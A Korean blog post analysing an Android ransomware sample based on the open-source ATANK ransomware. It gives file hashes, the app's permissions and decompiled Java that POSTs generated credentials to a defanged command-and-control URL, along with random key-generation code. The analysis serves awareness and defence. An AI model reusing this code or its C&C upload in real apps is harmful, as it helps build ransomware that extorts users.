꿈을꾸는 파랑새

오늘은 안드로이드 스마트폰을 공격하는 랜섬웨어에 대해 글을 적어 보겠습니다. 랜섬웨어 라는 단어 자체가 몸값을 뜻하는 Ransom과 악성 코드를 뜻하는 Malware의 합성어이고 사용자의 동의 없이 컴퓨터에 설치하고 무단으로 사용자의 파일을 모두 암호화시켜 인질로 잡고 금전을 요구하는 악성 프로그램을 말하며 모바일과, DSLR에서까지 현존하는 거의 모든 운영체제에서 활동하는 악성코드이며 랜섬웨어 종류에 따라 백신 프로그램이 사전에 랜섬웨어의 암호화를 차단하기도 합니다. 물론 이런 랜섬웨어 사전 차단 기능을 보유하는 기능 한에서 차단합니다.

뭐~랜섬웨어(Ransomware)에 감염이 되면 기본적으로 파일들을 암호화시키고 사용자에게 가상화폐를 요구합니다. 물론 가상화폐를 지급한다고 랜섬웨어 제작들이 순순히 풀어줄 수 있는 것도 아닙니다.

해당 안드로이드 랜섬웨어는 일단 기본 베이스는 2년 전에 공개된 랜섬웨어 소스인 ATANK를 기준으로 만들어졌습니다. 몇 년 전에 랜섬웨어 공부 목적? 으로 제작된 도구가 해당 부분이 악용되어서 한때 랜섬웨어 제작 열풍이 분 적이 있었습니다. 그거하고 비슷하다고 생각을 하시면 됩니다. 일단 감염이 되면 다음과 같이 사용자 네임과 24시간 카운트다운이 시작이 되는 것을 볼 수가 있습니다.
그리고 24시간 후 또는 재부팅 후 외부 미디어에서 파일 제거 와 동시에 사용자 이름과 키가 생성되어 C & C로 전송되는 것이 특징입니다.

안드로이드 스마트폰 ranso alert acabacomtudo 랜섬웨어(Ransomware)

일단 악성코드 해쉬값은 다음과 같습니다.
MD:5c5f6ed7cabece22776bdbc93525f4680
SHA-1:36b9aacbc94ec43a705a30d50241e1454ee6b743
SHA-256:4ba553d10ee8d711ee81c402488113d30d32ba06cae5961418e742fab3367204
이며 안드로이드 권한은 다음과 같습니다.
android.permission.INTERNET",
android.permission.READ_CONTACTS
android.permission.READ_EXTERNAL_STORAGE
android.permission.READ_PHONE_STATE
android.permission.RECEIVE_BOOT_COMPLETED
android.permission.SEND_SMS
android.permission.SET_WALLPAPER
android.permission.WRITE_CONTACTS
android.permission.WRITE_EXTERNAL_STORAGE

com.example.kico.myapplication.MainActivity 2

보면 인터넷 연결, 연락처 읽기, 외부저장 읽기, 로그인 인증 체크, 부팅 시 실행을 하기, 문자 보내기, 카메라를 이용하여 사진을 찍고 그것을 바탕화면으로 저장하기 위한 권한, 연락처 쓰기, 외부 저장소 쓰기 기능이 포함돼 있습니다.
com.example.kico.myapplication.MainActivity 부분을 보면 다음과 같은 코드가 있는 것을 확인할 수가 있습니다.

public void q() {
    DefaultHttpClient defaultHttpClient = new DefaultHttpClient();
    HttpPost httpPost = new HttpPost("hxxps://ocurso-1.000webhostapp(.)com/ranso.php");
    ArrayList<BasicNameValuePair> arrayList = new ArrayList(2);
    arrayList.add(new BasicNameValuePair("username", n()));
    arrayList.add(new BasicNameValuePair("password", p()));
    try {
      httpPost.setEntity((HttpEntity)new UrlEncodedFormEntity(arrayList));
    } catch (UnsupportedEncodingException unsupportedEncodingException) {
      unsupportedEncodingException.printStackTrace();
    } 
    try {
      Log.d("Http Post Response:", defaultHttpClient.execute((HttpUriRequest)httpPost).toString());
      return;
    } catch (ClientProtocolException clientProtocolException) {
      clientProtocolException.printStackTrace();
      return;
    } catch (IOException iOException) {
      iOException.printStackTrace();
      return;
    } 
  }
}

여기서 hxxps://ocurso-1.000webhostapp(.)com/ranso.PHP 부분은 한국 정부에서 차단하는 것을 확인할 수가 있었습니다. 랜섬웨어가 생성한 임의의 사용자 이름, 비밀번호를 hxxps://ocurso-1.000webhostapp(.)com/
으로 전송을 합니다.
다시 com.example.kico.myapplication.MainActivity 부분에 보면 다음과 같이 들어가져 있습니다.

public static String k() {
    StringBuilder stringBuilder = new StringBuilder();
    Random random = new Random();
    while (stringBuilder.length() < 15)
      stringBuilder.append("ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890".charAt((int)(random.nextFloat() * "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890".length()))); 
    return stringBuilder.toString();
  }
  
  public static String n() {
    return j;
  }
  
  public static String o() {
    StringBuilder stringBuilder = new StringBuilder();
    Random random = new Random();
    while (stringBuilder.length() < 32)
      stringBuilder.append("ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz".charAt((int)(random.nextFloat() * "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz".length()))); 
    return stringBuilder.toString();
  }
  
  public static String p() {
    return k;
  }
  
  public void b(String paramString) {
    k = paramString;
  }
  
  public void l() {
    SharedPreferences.Editor editor = getSharedPreferences("userInfo", 0).edit();
    editor.putString("userName", k());
    editor.putString("password", o());
    editor.apply();
  }
  
  public void m() {
    SharedPreferences sharedPreferences = getSharedPreferences("userInfo", 0);
    String str1 = sharedPreferences.getString("userName", "");
    String str2 = sharedPreferences.getString("password", "");
    a(str1);
    b(str2);
  }

으로 돼 있어서 랜덤으로 보통 초기 설정 값이나 자동 로그인 여부 등 간단한 값을 저장하려고 사용을 합니다. 일단 해당 랜섬웨어는 ATANK ransomwere 오픈소스 랜섬웨어로 만들어졌습니다. 즉 해당 오픈소스를 구하면 누구나 쉽게 랜섬웨어를 만들 수가 있다는 뜻입니다. 일단 기본적으로 백신앱을 설치를 해두었다면 기본적으로 대부분 업체에서 탐지하고 있으며 개인적으로 해당 랜섬웨어에 있는 언어는 모르는 관계를 해당 부분은 패스하겠습니다.

 

반응형
그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band